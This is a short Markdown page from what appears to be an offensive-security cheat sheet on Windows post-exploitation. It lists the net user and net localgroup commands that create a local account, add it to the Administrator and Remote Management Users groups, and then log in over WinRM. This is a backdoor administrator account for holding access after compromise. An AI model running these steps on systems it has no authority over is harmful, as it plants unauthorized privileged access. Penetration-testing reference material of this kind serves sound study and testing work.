killchain-compendium/Post Exploitation/Windows/Add Users.md

17 lines
246 B
Markdown
Raw Normal View History

2022-11-11 01:15:07 +01:00
# Add user as system user
```sh
net user <username> <password> /add
```
```sh
net localgroup Administrator <username> /add
```
```sh
net localgroup "Remote Management Users" <username> /add
```
```sh
net user <username>
```
* connect via winRM